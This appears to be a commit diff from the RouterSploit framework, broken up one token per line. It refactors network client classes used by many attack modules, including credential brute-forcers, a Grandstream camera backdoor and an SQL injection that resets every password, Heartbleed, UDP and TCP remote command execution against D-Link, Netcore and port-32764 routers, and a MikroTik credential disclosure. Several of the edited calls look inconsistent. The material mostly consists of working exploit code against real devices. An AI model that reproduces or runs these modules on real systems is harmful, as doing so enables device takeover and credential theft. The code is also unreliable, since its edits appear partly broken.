""" Telnet Client exploit """
target_protocol
=
Protocol
.
TELNET
verbosity
=
OptBool
(
True
,
"Enable verbose output: true/false"
)
def
telnet_create
(
self
,
target
=
None
,
port
=
None
):
telnet_target
=
target
if
target
else
self
.
target
telnet_port
=
port
if
port
else
self
.
port
telnet_client
=
TelnetCli
(
telnet_target
,
telnet_port
,
verbosity
=
self
.
verbosity
)
return
telnet_client
routersploit/core/udp/udp_client.py
View file @
c351256d
...
...
@@ -11,51 +11,60 @@ from routersploit.core.exploit.utils import is_ipv6
UDP_SOCKET_TIMEOUT
=
8.0
class
UDPClient
(
Exploit
):
""" UDP Client exploit """
class
UDPCli
(
object
):
def
__init__
(
self
,
udp_target
,
udp_port
,
verbosity
=
False
):
self
.
udp_target
=
udp_target
self
.
udp_port
=
udp_port
self
.
verbosity
=
verbosity
target_protocol
=
Protocol
.
UDP
verbosity
=
OptBool
(
True
,
"Enable verbose output: true/false"
)
self
.
peer
=
"{}:{}"
.
format
(
self
.
udp_target
,
self
.
udp_port
)
def
udp_create
(
self
):
if
is_ipv4
(
self
.
target
):
udp_client
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_DGRAM
)
elif
is_ipv6
(
self
.
target
):
udp_client
=
socket
.
socket
(
socket
.
AF_INET6
,
socket
.
SOCK_DGRAM
)
if
is_ipv4
(
self
.
udp_target
):
self
.
udp_client
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_DGRAM
)
elif
is_ipv6
(
self
.
udp_target
):
self
.
udp_client
=
socket
.
socket
(
socket
.
AF_INET6
,
socket
.
SOCK_DGRAM
)
else
:
print_error
(
"Target address is not valid IPv4 nor IPv6 address"
,
verbose
=
self
.
verbosity
)
return
None
udp_client
.
settimeout
(
UDP_SOCKET_TIMEOUT
)
return
udp_client
self
.
udp_client
.
settimeout
(
UDP_SOCKET_TIMEOUT
)
def
udp_send
(
self
,
udp_client
,
data
):
if
udp_client
:
if
type
(
data
)
is
bytes
:
def
send
(
self
,
data
):
try
:
return
udp_client
.
sendto
(
data
,
(
self
.
target
,
self
.
port
))
except
Exception
:
print_error
(
"Exception while sending data"
,
verbose
=
self
.
verbosity
)
else
:
print_error
(
"Data to send is not type of bytes"
,
verbose
=
self
.
verbosity
)
return
self
.
udp_client
.
sendto
(
data
,
(
self
.
udp_target
,
self
.
udp_port
))
except
Exception
as
err
:
print_error
(
self
.
peer
,
"Error while sending data"
,
err
,
verbose
=
self
.
verbosity
)
return
None
def
udp_recv
(
self
,
udp_client
,
num
):
if
udp_client
:
def
recv
(
self
,
num
):
try
:
response
=
udp_client
.
recv
(
num
)
response
=
self
.
udp_client
.
recv
(
num
)
return
response
except
socket
.
timeout
:
print_error
(
"Socket did timeout"
,
verbose
=
self
.
verbosity
)
except
socket
.
error
:
print_error
(
"Socket err"
,
verbose
=
self
.
verbosity
)
except
Exception
as
err
:
print_error
(
self
.
peer
,
"Error while receiving data"
,
err
,
verbose
=
self
.
verbosity
)
return
None
def
udp_close
(
self
,
udp_client
):
if
udp_client
:
udp_client
.
close
()
def
close
(
self
):
try
:
self
.
udp_client
.
close
()
except
Exception
as
err
:
print_error
(
self
.
peer
,
"Error while closing udp socket"
,
err
,
verbose
=
self
.
verbosity
)
return
None
class
UDPClient
(
Exploit
):
""" UDP Client exploit """
target_protocol
=
Protocol
.
UDP
verbosity
=
OptBool
(
True
,
"Enable verbose output: true/false"
)
def
udp_create
(
self
,
target
=
None
,
port
=
None
):
udp_target
=
target
if
target
else
self
.
target
udp_port
=
port
if
port
else
self
.
port
udp_client
=
UDPCli
(
udp_target
,
udp_port
,
verbosity
=
self
.
verbosity
)
return
udp_client
routersploit/modules/creds/generic/ftp_bruteforce.py
View file @
c351256d
...
...
@@ -55,27 +55,22 @@ class Exploit(FTPClient):
except
StopIteration
:
break
else
:
ftp
=
self
.
ftp_connect
(
retries
=
3
)
if
ftp
is
None
:
ftp
_client
=
self
.
ftp_create
(
)
if
ftp
_client
.
connect
(
retries
=
3
)
is
None
:
print_error
(
"Too many connections problems. Quiting..."
,
verbose
=
self
.
verbosity
)
return
try
:
ftp
.
login
(
username
,
password
)
if
ftp_client
.
login
(
username
,
password
):
if
self
.
stop_on_success
:
running
.
clear
()
print_success
(
"Authenticated Succeed - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
self
.
target_protocol
,
username
,
password
))
except
Exception
as
err
:
print_error
(
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
ftp
.
close
()
ftp_client
.
close
()
def
check
(
self
):
if
self
.
ftp_test_connect
():
ftp_client
=
self
.
ftp_create
()
if
ftp_client
.
test_connect
():
print_status
(
"Target exposes FTP service"
,
verbose
=
self
.
verbosity
)
return
True
...
...
routersploit/modules/creds/generic/ftp_default.py
View file @
c351256d
...
...
@@ -53,27 +53,22 @@ class Exploit(FTPClient):
except
StopIteration
:
break
else
:
ftp
=
self
.
ftp_connect
(
retries
=
3
)
if
ftp
is
None
:
ftp
_client
=
self
.
ftp_create
(
)
if
ftp
_client
.
connect
(
retries
=
3
)
is
None
:
print_error
(
"Too many connections problems. Quiting..."
,
verbose
=
self
.
verbosity
)
return
try
:
ftp
.
login
(
username
,
password
)
if
ftp_client
.
login
(
username
,
password
):
if
self
.
stop_on_success
:
running
.
clear
()
print_success
(
"Authenticated Succeed - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
self
.
target_protocol
,
username
,
password
))
except
Exception
as
err
:
print_error
(
"Authentication Failed - Username: '{}' Password: '{}'"
.
format
(
username
,
password
),
verbose
=
self
.
verbosity
)
ftp
.
close
()
ftp_client
.
close
()
def
check
(
self
):
if
self
.
ftp_test_connect
():
ftp_client
=
self
.
ftp_create
()
if
ftp_client
.
test_connect
():
print_status
(
"Target exposes FTP service"
,
verbose
=
self
.
verbosity
)
return
True
...
...
routersploit/modules/creds/generic/snmp_bruteforce.py
View file @
c351256d
...
...
@@ -50,7 +50,8 @@ class Exploit(SNMPClient):
try
:
community_string
=
data
.
next
()
if
self
.
snmp_get
(
community_string
,
"1.3.6.1.2.1.1.1.0"
,
version
=
self
.
version
):
snmp_client
=
self
.
snmp_create
()
if
snmp_client
.
get
(
community_string
,
"1.3.6.1.2.1.1.1.0"
,
version
=
self
.
version
):
if
self
.
stop_on_success
:
running
.
clear
()
...
...
routersploit/modules/creds/generic/ssh_bruteforce.py
View file @
c351256d
...
...
@@ -53,19 +53,20 @@ class Exploit(SSHClient):
while
running
.
is_set
():
try
:
username
,
password
=
data
.
next
()
ssh
=
self
.
ssh_login
(
username
,
password
)
if
ssh
:
ssh
_client
=
self
.
ssh_create
(
)
if
ssh
_client
.
login
(
username
,
password
)
:
if
self
.
stop_on_success
:
running
.
clear
()
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
self
.
target_protocol
,
username
,
password
))
ssh
.
close
()
ssh
_client
.
close
()
except
StopIteration
:
break
def
check
(
self
):
if
self
.
ssh_test_connect
():
ssh_client
=
self
.
ssh_create
()
if
ssh_client
.
test_connect
():
print_status
(
"Target exposes SSH service"
,
verbose
=
self
.
verbosity
)
return
True
...
...
routersploit/modules/creds/generic/ssh_default.py
View file @
c351256d
...
...
@@ -51,19 +51,20 @@ class Exploit(SSHClient):
while
running
.
is_set
():
try
:
username
,
password
=
data
.
next
()
.
split
(
":"
)
ssh
=
self
.
ssh_login
(
username
,
password
)
if
ssh
:
ssh
_client
=
self
.
ssh_create
(
)
if
ssh
_client
.
login
(
username
,
password
)
:
if
self
.
stop_on_success
:
running
.
clear
()
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
self
.
target_protocol
,
username
,
password
))
ssh
.
close
()
ssh
_client
.
close
()
except
StopIteration
:
break
def
check
(
self
):
if
self
.
ssh_test_connect
():
ssh_client
=
self
.
ssh_create
()
if
ssh_client
.
test_connect
():
print_status
(
"Target exposes SSH service"
,
verbose
=
self
.
verbosity
)
return
True
...
...
routersploit/modules/creds/generic/telnet_bruteforce.py
View file @
c351256d
...
...
@@ -53,19 +53,20 @@ class Exploit(TelnetClient):
while
running
.
is_set
():
try
:
username
,
password
=
data
.
next
()
telnet
=
self
.
telnet_login
(
username
,
password
,
retries
=
3
)
if
telnet
:
telnet
_client
=
self
.
telnet_create
(
)
if
telnet
_client
.
login
(
username
,
password
,
retries
=
3
)
:
if
self
.
stop_on_success
:
running
.
clear
()
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
self
.
target_protocol
,
username
,
password
))
telnet
.
close
()
telnet
_client
.
close
()
except
StopIteration
:
break
def
check
(
self
):
if
self
.
telnet_test_connect
():
telnet_client
=
self
.
telnet_create
()
if
telnet_client
.
test_connect
():
print_status
(
"Target exposes Telnet service"
,
verbose
=
self
.
verbosity
)
return
True
...
...
routersploit/modules/creds/generic/telnet_default.py
View file @
c351256d
...
...
@@ -51,19 +51,20 @@ class Exploit(TelnetClient):
while
running
.
is_set
():
try
:
username
,
password
=
data
.
next
()
.
split
(
":"
)
telnet
=
self
.
telnet_login
(
username
,
password
,
retries
=
3
)
if
telnet
:
telnet
_client
=
self
.
telnet_create
(
)
if
telnet
_client
.
login
(
username
,
password
,
retries
=
3
)
:
if
self
.
stop_on_success
:
running
.
clear
()
self
.
credentials
.
append
((
self
.
target
,
self
.
port
,
self
.
target_protocol
,
username
,
password
))
telnet
.
close
()
telnet
_client
.
close
()
except
StopIteration
:
break
def
check
(
self
):
if
self
.
telnet_test_connect
():
telnet_client
=
self
.
telnet_create
()
if
telnet_client
.
test_connect
():
print_status
(
"Target exposes Telnet service"
,
verbose
=
self
.
verbosity
)
return
True
...
...
routersploit/modules/creds/routers/mikrotik/api_ros_default_creds.py
View file @
c351256d
...
...
@@ -49,8 +49,9 @@ class Exploit(TCPClient):
try
:
username
,
password
=
creds
.
next
()
.
split
(
":"
)
tcp_client
=
self
.
tcp_connect
()
apiros
=
ApiRosClient
(
tcp_client
)
tcp_client
=
self
.
tcp_create
()
tcp_sock
=
tcp_client
.
connect
()
apiros
=
ApiRosClient
(
tcp_sock
)
output
=
apiros
.
login
(
username
,
password
)
...
...
@@ -69,9 +70,9 @@ class Exploit(TCPClient):
break
def
check
(
self
):
tcp_client
=
self
.
tcp_c
onnect
()
if
tcp_client
:
self
.
tcp_close
(
tcp_client
)
tcp_client
=
self
.
tcp_c
reate
()
if
tcp_client
.
connect
()
:
tcp_client
.
close
(
)
return
True
return
False
...
...
routersploit/modules/exploits/cameras/grandstream/gxv3611hd_ip_camera_backdoor.py
View file @
c351256d
...
...
@@ -30,30 +30,32 @@ class Exploit(TelnetClient):
if
self
.
check
():
print_success
(
"Target appears to be vulnerable..."
)
tn
=
self
.
telnet_login
(
self
.
username
,
self
.
password
)
telnet_client
=
self
.
telnet_create
()
telnet_client
.
login
(
self
.
username
,
self
.
password
)
print_status
(
"Triggering backdoor to start telnet server"
)
self
.
telnet_read_until
(
tn
,
"> "
)
self
.
telnet_write
(
tn
,
"!#/ port lol
\r\n
"
)
# Backdoor command triggers telnet server to startup.
self
.
telnet_read_until
(
tn
,
"> "
)
self
.
telnet_write
(
tn
,
"quit
\r\n
"
)
self
.
telnet_
close
()
telnet_client
.
read_until
(
"> "
)
telnet_client
.
write
(
"!#/ port lol
\r\n
"
)
# Backdoor command triggers telnet server to startup.
telnet_client
.
read_until
(
"> "
)
telnet_client
.
write
(
"quit
\r\n
"
)
telnet_client
.
close
()
print_success
(
"SQLI successful, going to telnet into port 20000 "
"with username root and no password to get shell"
)
t
n
=
self
.
telnet_login
(
"root"
,
""
,
port
=
20000
)
if
t
n
:
self
.
telnet_interactive
(
tn
)
t
elnet_client
=
self
.
telnet_create
(
port
=
20000
)
if
t
elnet_client
.
login
()
:
telnet_client
.
interactive
(
)
else
:
print_error
(
"Exploit failed. Target does not appear vulnerable"
)
@mute
def
check
(
self
):
tn
=
self
.
telnet_connect
()
telnet_client
=
self
.
telnet_create
()
telnet_client
.
connect
()
res
=
self
.
telnet_read_until
(
tn
,
"login:"
)
res
=
telnet_client
.
read_until
(
"login:"
)
if
res
and
"Grandstream"
in
res
:
return
True
...
...
routersploit/modules/exploits/cameras/grandstream/gxv3611hd_ip_camera_sqli.py
View file @
c351256d
...
...
@@ -27,21 +27,22 @@ class Exploit(TelnetClient):
if
self
.
check
():
print_success
(
"Target appears to be vulnerable..."
)
tn
=
self
.
telnet_connect
()
self
.
telnet_read_until
(
tn
,
"Username: "
)
self
.
telnet_write
(
tn
,
"';update user set password='a';--
\r\n
"
)
# This changes all the passwords to 'a'
self
.
telnet_read_until
(
tn
,
"Password: "
)
self
.
telnet_write
(
tn
,
"nothing
\r\n
"
)
self
.
telnet_read_until
(
tn
,
"Username: "
)
self
.
telnet_write
(
tn
,
"admin
\r\n
"
)
self
.
telnet_read_until
(
tn
,
"Password: "
)
self
.
telnet_write
(
tn
,
"a
\r\n
"
)
# Login with the new password
self
.
telnet_read_until
(
tn
,
"> "
)
self
.
telnet_write
(
tn
,
"!#/ port lol
\r\n
"
)
# Backdoor command triggers telnet server to startup.
self
.
telnet_read_until
(
tn
,
"> "
)
self
.
telnet_write
(
tn
,
"quit
\r\n
"
)
self
.
telnet_close
()
telnet_client
=
self
.
telnet_create
()
telnet_client
.
connect
()
telnet_client
.
read_until
(
tn
,
"Username: "
)
telnet_client
.
write
(
"';update user set password='a';--
\r\n
"
)
# This changes all the passwords to 'a'
telnet_client
.
read_until
(
"Password: "
)
telnet_client
.
write
(
"nothing
\r\n
"
)
telnet_client
.
read_until
(
"Username: "
)
telnet_client
.
write
(
"admin
\r\n
"
)
telnet_client
.
read_until
(
"Password: "
)
telnet_client
.
write
(
"a
\r\n
"
)
# Login with the new password
telnet_client
.
read_until
(
"> "
)
telnet_client
.
write
(
"!#/ port lol
\r\n
"
)
# Backdoor command triggers telnet server to startup.
telnet_client
.
read_until
(
"> "
)
telnet_client
.
write
(
"quit
\r\n
"
)
telnet_client
.
close
()
print_success
(
"SQLI successful, going to telnet into port 20000 "
"with username root and no password to get shell"
)
...
...
@@ -51,9 +52,10 @@ class Exploit(TelnetClient):
@mute
def
check
(
self
):
tn
=
self
.
telnet_connect
()
telnet_client
=
self
.
telnet_create
()
telnet_client
.
connect
()
res
=
self
.
telnet_read_until
(
tn
,
"login:"
)
res
=
telnet_client
.
read_until
(
"login:"
)
if
res
and
"Grandstream"
in
res
:
return
True
...
...
routersploit/modules/exploits/generic/heartbleed.py
View file @
c351256d
...
...
@@ -172,8 +172,8 @@ class Exploit(TCPClient):
print_status
(
"Sending Heartbeat..."
)
heartbeat_req
=
self
.
heartbeat_request
(
self
.
heartbeat_length
)
self
.
tcp_
send
(
self
.
tcp_client
,
heartbeat_req
)
hdr
=
self
.
tcp_
recv_all
(
self
.
tcp_client
,
self
.
SSL_RECORD_HEADER_SIZE
)
self
.
tcp_
client
.
send
(
heartbeat_req
)
hdr
=
self
.
tcp_
client
.
recv_all
(
self
.
SSL_RECORD_HEADER_SIZE
)
if
not
hdr
:
print_error
(
"No Heartbeat response..."
)
return
False
...
...
@@ -182,24 +182,25 @@ class Exploit(TCPClient):
if
record_type
!=
self
.
HEARTBEAT_RECORD_TYPE
or
version
!=
self
.
TLS_VERSION
[
self
.
tls_version
]:
print_error
(
"Unexpected Hearbeat response header"
)
self
.
tcp_cl
ose
(
self
.
tcp_client
)
self
.
tcp_cl
ient
.
close
(
)
heartbeat_data
=
self
.
tcp_
recv_all
(
self
.
tcp_client
,
self
.
heartbeat_length
)
heartbeat_data
=
self
.
tcp_
client
.
recv_all
(
self
.
heartbeat_length
)
if
heartbeat_data
:
print_success
(
"Heartbeat response, {} bytes"
.
format
(
len
(
heartbeat_data
)))
else
:
print_error
(
"No heartbeat response"
)
self
.
tcp_cl
ose
(
self
.
tcp_client
)
self
.
tcp_cl
ient
.
close
(
)
return
heartbeat_data
def
establish_connect
(
self
):
self
.
tcp_client
=
self
.
tcp_connect
()
self
.
tcp_client
=
self
.
tcp_create
()
self
.
tcp_client
.
connect
()
print_status
(
"Sending Client Hello..."
)
data
=
self
.
client_hello
()
self
.
tcp_
send
(
self
.
tcp_client
,
data
)
self
.
tcp_
client
.
send
(
data
)
server_response
=
self
.
get_server_hello
()
if
not
server_response
:
...
...
@@ -303,11 +304,11 @@ class Exploit(TCPClient):
already_read
=
already_read
+
single_cert_len
+
3
def
get_ssl_record
(
self
):
hdr
=
self
.
tcp_
recv_all
(
self
.
tcp_client
,
self
.
SSL_RECORD_HEADER_SIZE
)
hdr
=
self
.
tcp_
client
.
recv_all
(
self
.
SSL_RECORD_HEADER_SIZE
)
if
hdr
:
length
=
unpack
(
">BHH"
,
hdr
)[
2
]
data
=
self
.
tcp_
recv_all
(
self
.
tcp_client
,
length
)
data
=
self
.
tcp_
client
.
recv_all
(
length
)
hdr
+=
data
return
hdr
...
...
routersploit/modules/exploits/generic/ssh_auth_keys.py
View file @
c351256d
...
...
@@ -68,10 +68,10 @@ class Exploit(SSHClient):
def
run
(
self
):
if
self
.
check
():
print_success
(
"Target seems to be vulnerable"
)
ssh
=
self
.
ssh_login_pkey
(
self
.
valid
[
"username"
],
self
.
valid
[
"priv_key"
]
)
if
ssh
:
s
elf
.
ssh_interactive
(
ssh
)
ssh
.
close
()
ssh
_client
=
self
.
ssh_create
(
)
if
ssh
_client
.
login_pkey
(
self
.
valid
[
"username"
],
self
.
valid
[
"priv_key"
])
:
s
sh_client
.
interactive
(
)
ssh
_client
.
close
()
else
:
print_error
(
"Exploit failed - target seems to be not vulnerable"
)
else
:
...
...
@@ -80,9 +80,9 @@ class Exploit(SSHClient):
@mute
def
check
(
self
):
for
key
in
self
.
private_keys
:
ssh
=
self
.
ssh_login_pkey
(
key
[
"username"
],
key
[
"priv_key"
]
)
if
ssh
:
ssh
.
close
()
ssh
_client
=
self
.
ssh_create
(
)
if
ssh
_client
.
login_pkey
(
key
[
"username"
],
key
[
"priv_key"
])
:
ssh
_client
.
close
()
self
.
valid
=
key
return
True
# target is vulnerable
...
...
routersploit/modules/exploits/routers/cisco/ucm_info_disclosure.py
View file @
c351256d
...
...
@@ -29,9 +29,9 @@ class Exploit(UDPClient):
def
run
(
self
):
print_status
(
"Sending payload"
)
udp_client
=
self
.
udp_create
()
self
.
udp_send
(
udp_client
,
self
.
payload
)
udp_client
.
send
(
self
.
payload
)
response
=
self
.
udp_recv
(
udp_client
,
2048
)
response
=
udp_client
.
recv
(
2048
)
if
response
and
len
(
response
):
if
b
"UseUserCredential"
in
response
:
...
...
@@ -45,9 +45,9 @@ class Exploit(UDPClient):
@mute
def
check
(
self
):
udp_client
=
self
.
udp_create
()
self
.
udp_send
(
udp_client
,
self
.
payload
)
udp_client
.
send
(
self
.
payload
)
response
=
self
.
udp_recv
(
udp_client
,
2048
)
response
=
udp_client
.
recv
(
2048
)
if
response
and
len
(
response
)
and
b
"UseUserCredential"
in
response
:
return
True
# target is vulnerable
...
...
routersploit/modules/exploits/routers/dlink/dir_300_645_815_upnp_rce.py
View file @
c351256d
...
...
@@ -46,8 +46,8 @@ class Exploit(UDPClient):
)
udp_client
=
self
.
udp_create
()
self
.
udp_send
(
udp_client
,
request
)
self
.
udp_close
(
udp_client
)
udp_client
.
send
(
request
)
udp_client
.
close
(
)
return
""
...
...
@@ -64,9 +64,9 @@ class Exploit(UDPClient):
udp_client
=
self
.
udp_create
()
if
udp_client
:
self
.
udp_send
(
udp_client
,
request
)
response
=
self
.
udp_recv
(
udp_client
,
65535
)
self
.
udp_close
(
udp_client
)
udp_client
.
send
(
request
)
response
=
udp_client
.
recv
(
65535
)
udp_client
.
close
(
)
if
response
and
b
"Linux, UPnP/1.0, DIR-"
in
response
:
return
True
# target is vulnerable
...
...
routersploit/modules/exploits/routers/dlink/dwr_932b_backdoor.py
View file @
c351256d
...
...
@@ -26,10 +26,10 @@ class Exploit(UDPClient, TelnetClient):
def
run
(
self
):
print_status
(
"Sending backdoor packet"
)
if
self
.
check
():
telnet_client
=
self
.
telnet_c
onnect
(
port
=
23
)
if
telnet_client
:
self
.
telnet_interactive
(
telnet_client
)
self
.
telnet_close
(
telnet_client
)
telnet_client
=
self
.
telnet_c
reate
(
port
=
23
)
if
telnet_client
.
connect
()
:
telnet_client
.
interactive
(
)
telnet_client
.
close
(
)
else
:
print_error
(
"Exploit failed - could not connect to the telnet service"
)
else
:
...
...
@@ -38,9 +38,9 @@ class Exploit(UDPClient, TelnetClient):
@mute
def
check
(
self
):
udp_client
=
self
.
udp_create
()
self
.
udp_send
(
udp_client
,
b
"HELODBG"
)
udp_client
.
send
(
b
"HELODBG"
)
response
=
self
.
udp_recv
(
udp_client
,
1024
)
response
=
udp_client
.
recv
(
1024
)
if
response
and
b
"Hello"
in
response
:
return
True
# target is vulnerable
...
...
routersploit/modules/exploits/routers/huawei/hg520_info_disclosure.py
View file @
c351256d
...
...
@@ -73,9 +73,9 @@ class Exploit(UDPClient):
@mute
def
check
(
self
):
udp_client
=
self
.
udp_create
()
self
.
udp_send
(
udp_client
,
self
.
payload
)
response
=
self
.
udp_recv
(
udp_client
,
1024
)
self
.
udp_close
(
udp_client
)
udp_client
.
send
(
self
.
payload
)
response
=
udp_client
.
recv
(
1024
)
udp_client
.
close
(
)
if
response
:
self
.
content
=
response
...
...
routersploit/modules/exploits/routers/mikrotik/routeros_jailbreak.py
View file @
c351256d
...
...
@@ -34,7 +34,7 @@ class Exploit(SSHClient):
if
self
.
backup_configuration
():
print_status
(
"Downloading current configuration..."
)
content
=
self
.
ssh_
get_content
(
self
.
ssh_client
,
"/backup.backup"
)
content
=
self
.
ssh_
client
.
get_content
(
"/backup.backup"
)
backup
=
self
.
backup_patch
(
content
)
if
backup
:
...
...
@@ -49,10 +49,10 @@ class Exploit(SSHClient):
@mute
def
check
(
self
):
self
.
ssh_client
=
self
.
ssh_
login
(
self
.
username
,
self
.
password
)
self
.
ssh_client
=
self
.
ssh_
create
(
)
if
self
.
ssh_client
:
output
=
self
.
ssh_
execute
(
self
.
ssh_client
,
"/system resource print"
)
if
self
.
ssh_client
.
login
(
self
.
username
,
self
.
password
)
:
output
=
self
.
ssh_
client
.
execute
(
"/system resource print"
)
res
=
re
.
findall
(
b
"version: (.+?) "
,
output
)
if
res
:
...
...
@@ -68,11 +68,11 @@ class Exploit(SSHClient):
return
False
def
backup_configuration
(
self
):
output
=
self
.
ssh_
execute
(
self
.
ssh_client
,
"/system backup save name=
\"
backup.backup
\"
dont-encrypt=yes"
)
output
=
self
.
ssh_
client
.
execute
(
"/system backup save name=
\"
backup.backup
\"
dont-encrypt=yes"
)
if
b
"backup saved"
in
output
:
return
True
else
:
output
=
self
.
ssh_
execute
(
self
.
ssh_client
,
"/system backup save name=
\"
backup.backup
\"
"
)
output
=
self
.
ssh_
client
.
execute
(
"/system backup save name=
\"
backup.backup
\"
"
)
if
b
"backup saved"
in
output
:
return
True
...
...
@@ -102,13 +102,13 @@ class Exploit(SSHClient):
return
backup
def
backup_restore
(
self
,
backup
):
self
.
ssh_
send_content
(
self
.
ssh_client
,
backup
,
"/backup.backup"
)
self
.
ssh_
client
.
send_content
(
backup
,
"/backup.backup"
)
output
=
self
.
ssh_
execute
(
self
.
ssh_client
,
"/system backup load name=
\"
backup.backup
\"
password=
\"\"
"
)
output
=
self
.
ssh_
client
.
execute
(
"/system backup load name=
\"
backup.backup
\"
password=
\"\"
"
)
if
b
"configuration restored"
in
output
:
return
True
else
:
output
=
self
.
ssh_
execute
(
self
.
ssh_client
,
"/system backup load name=
\"
backup.backup
\"
"
)
output
=
self
.
ssh_
client
.
execute
(
"/system backup load name=
\"
backup.backup
\"
"
)
if
b
"configuration restored"
in
output
:
return
True
...
...
routersploit/modules/exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure.py
View file @
c351256d
...
...
@@ -64,23 +64,25 @@ class Exploit(TCPClient):
def
get_creds
(
self
):
creds
=
[]
tcp_client
=
self
.
tcp_connect
()
self
.
tcp_send
(
tcp_client
,
self
.
packet_a
)
data
=
self
.
tcp_recv
(
tcp_client
,
1024
)
tcp_client
=
self
.
tcp_create
()
tcp_client
.
connect
()
tcp_client
.
send
(
self
.
packet_a
)
data
=
tcp_client
.
recv
(
1024
)
if
not
data
or
len
(
data
)
<
39
:
return
None
packet
=
self
.
packet_b
[:
19
]
+
data
[
38
:
39
]
+
self
.
packet_b
[
20
:]
self
.
tcp_send
(
tcp_client
,
packet
)
data
=
self
.
tcp_recv
(
tcp_client
,
1024
)
tcp_client
.
send
(
packet
)
data
=
tcp_client
.
recv
(
1024
)
if
not
data
:
return
None
self
.
tcp_close
(
tcp_client
)
tcp_client
.
close
(
)
creds
=
self
.
get_pair
(
data
)
if
not
creds
:
...
...
routersploit/modules/exploits/routers/multi/tcp_32764_info_disclosure.py
View file @
c351256d
...
...
@@ -79,16 +79,16 @@ class Exploit(TCPClient):
headers
=
struct
.
pack
(
self
.
endianness
+
"III"
,
0x53634D4D
,
0x01
,
0x01
)
payload
=
headers
+
b
"
\x00
"
tcp_client
=
self
.
tcp_c
onnect
()
if
tcp_client
:
self
.
tcp_send
(
tcp_client
,
payload
)
response
=
self
.
tcp_recv
(
tcp_client
,
0xC
)
tcp_client
=
self
.
tcp_c
reate
()
if
tcp_client
.
connect
()
:
tcp_client
.
send
(
payload
)
response
=
tcp_client
.
recv
(
0xC
)
if
response
:
sig
,
ret_val
,
ret_len
=
struct
.
unpack
(
self
.
endianness
+
"III"
,
response
)
response
=
self
.
tcp_
recv
(
tcp_client
,
ret_len
)
response
=
tcp_client
.
recv
(
tcp_client
,
ret_len
)
self
.
tcp_close
(
tcp_client
)
tcp_client
.
close
(
)
if
response
:
return
str
(
response
,
"utf-8"
)
...
...
@@ -97,12 +97,11 @@ class Exploit(TCPClient):
@mute
def
check
(
self
):
tcp_client
=
self
.
tcp_connect
()
if
tcp_client
:
self
.
tcp_send
(
tcp_client
,
b
"ABCDE"
)
response
=
self
.
tcp_recv
(
tcp_client
,
5
)
self
.
tcp_close
(
tcp_client
)
tcp_client
=
self
.
tcp_create
()
if
tcp_client
.
connect
():
tcp_client
.
send
(
b
"ABCDE"
)
response
=
tcp_client
.
recv
(
5
)
tcp_client
.
close
()
if
response
:
if
response
.
startswith
(
b
"MMcS"
):
...
...
routersploit/modules/exploits/routers/multi/tcp_32764_rce.py
View file @
c351256d
...
...
@@ -65,15 +65,15 @@ class Exploit(TCPClient):
header
=
struct
.
pack
(
self
.
endianness
+
"III"
,
0x53634D4D
,
0x07
,
len
(
cmd
)
+
1
)
payload
=
header
+
cmd
+
b
"
\x00
"
tcp_client
=
self
.
tcp_c
onnect
()
if
tcp_client
:
self
.
tcp_send
(
tcp_client
,
payload
)
response
=
self
.
tcp_recv
(
tcp_client
,
0xC
)
tcp_client
=
self
.
tcp_c
reate
()
if
tcp_client
.
connect
()
:
tcp_client
.
tcp_send
(
payload
)
response
=
tcp_client
.
recv
(
0xC
)
sig
,
ret_val
,
ret_len
=
struct
.
unpack
(
self
.
endianness
+
"III"
,
response
)
response
=
self
.
tcp_recv
(
tcp_client
,
ret_len
)
response
=
tcp_client
.
recv
(
ret_len
)
self
.
tcp_close
(
tcp_client
)
tcp_client
.
tcp_close
(
)
if
response
:
return
str
(
response
,
"utf-8"
)
...
...
@@ -82,12 +82,12 @@ class Exploit(TCPClient):
@mute
def
check
(
self
):
tcp_client
=
self
.
tcp_c
onnect
()
tcp_client
=
self
.
tcp_c
reate
()
if
tcp_client
:
self
.
tcp_send
(
tcp_client
,
b
"ABCDE"
)
response
=
self
.
tcp_recv
(
tcp_client
,
5
)
self
.
tcp_close
(
tcp_client
)
if
tcp_client
.
connect
()
:
tcp_client
.
send
(
b
"ABCDE"
)
response
=
tcp_client
.
recv
(
5
)
tcp_client
.
close
(
)
if
response
:
if
response
.
startswith
(
b
"MMcS"
):
...
...
routersploit/modules/exploits/routers/netcore/udp_53413_rce.py
View file @
c351256d
...
...
@@ -37,9 +37,9 @@ class Exploit(UDPClient):
payload
=
b
"AA
\x00\x00
AAAA"
+
cmd
+
b
"
\x00
"
udp_client
=
self
.
udp_create
()
self
.
udp_send
(
udp_client
,
payload
)
response
=
self
.
udp_
recv
(
udp_client
,
1024
)
self
.
udp_close
(
udp_client
)
udp_client
.
send
(
payload
)
response
=
udp_client
.
recv
(
udp_client
,
1024
)
udp_client
.
udp_close
(
)
if
response
:
return
str
(
response
[
8
:],
"utf-8"
)
...
...
@@ -52,9 +52,9 @@ class Exploit(UDPClient):
payload
=
b
"
\x00
"
*
8
udp_client
=
self
.
udp_create
()
self
.
udp_send
(
udp_client
,
payload
)
udp_client
.
send
(
payload
)
if
udp_client
:
response
=
self
.
udp_recv
(
udp_client
,
1024
)
response
=
udp_client
.
recv
(
1024
)
if
response
:
if
response
.
endswith
(
b
"
\xD0\xA5
Login:"
):
...
...
routersploit/modules/exploits/routers/technicolor/tg784_authbypass.py
View file @
c351256d
...
...
@@ -60,8 +60,8 @@ class Exploit(FTPClient):
print_status
(
"Trying FTP authentication with Username: {} and Password: {}"
.
format
(
self
.
username
,
self
.
password
))
ftp_client
=
self
.
ftp_
login
(
self
.
username
,
self
.
password
)
if
ftp_client
:
ftp_client
=
self
.
ftp_
create
(
)
if
ftp_client
.
login
(
self
.
username
,
self
.
password
)
:
print_success
(
"Authentication successful"
)
content
=
self
.
ftp_get_content
(
ftp_client
,
"user.ini"
)
creds
=
re
.
findall
(
r"add name=(.*) password=(.*) role=(.*) hash2=(.*) crypt=(.*)\r\n"
,
str
(
content
,
"utf-8"
))
...
...
